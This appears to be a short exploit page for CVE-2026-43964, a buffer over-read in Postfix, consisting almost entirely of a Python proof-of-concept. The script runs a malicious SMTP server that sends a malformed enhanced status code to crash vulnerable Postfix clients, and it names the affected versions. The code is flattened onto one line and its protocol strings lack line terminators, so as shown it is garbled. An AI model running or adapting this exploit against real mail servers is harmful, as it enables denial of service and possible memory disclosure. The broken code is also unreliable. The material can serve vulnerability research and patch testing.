CVE-2026-43964 Postfix 缓冲区越界读取漏洞

import socket import sys # CVE-2026-43964 PoC (Malicious SMTP Server) # This script simulates a malicious SMTP server that responds with # an enhanced status code lacking text after the third number. # Target: Postfix < 3.8.16, 3.9 < 3.9.10, 3.10 < 3.10.9 def malicious_smtp_server(port=2525): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind(('0.0.0.0', port)) server.listen(1) print(f"[*] Listening on port {port}...") conn, addr = server.accept() print(f"[*] Connection from {addr}") # Send initial banner conn.send(b"220 mail.attacker.com ESMTP Postfix ") # Wait for EHLO conn.recv(1024) conn.send(b"250-mail.attacker.com 250-PIPELINING 250 SIZE 10240000 ") # Wait for MAIL FROM conn.recv(1024) # Send malformed response: Enhanced status code '2.0.0' followed immediately by CRLF (missing text) # This triggers the buffer over-read in vulnerable Postfix versions print("[*] Sending malformed enhanced status code...") conn.send(b"250 2.0.0 ") print("[*] Payload sent. Check target for crash.") conn.close() except Exception as e: print(f"[-] Error: {e}") finally: server.close() if __name__ == "__main__": malicious_smtp_server()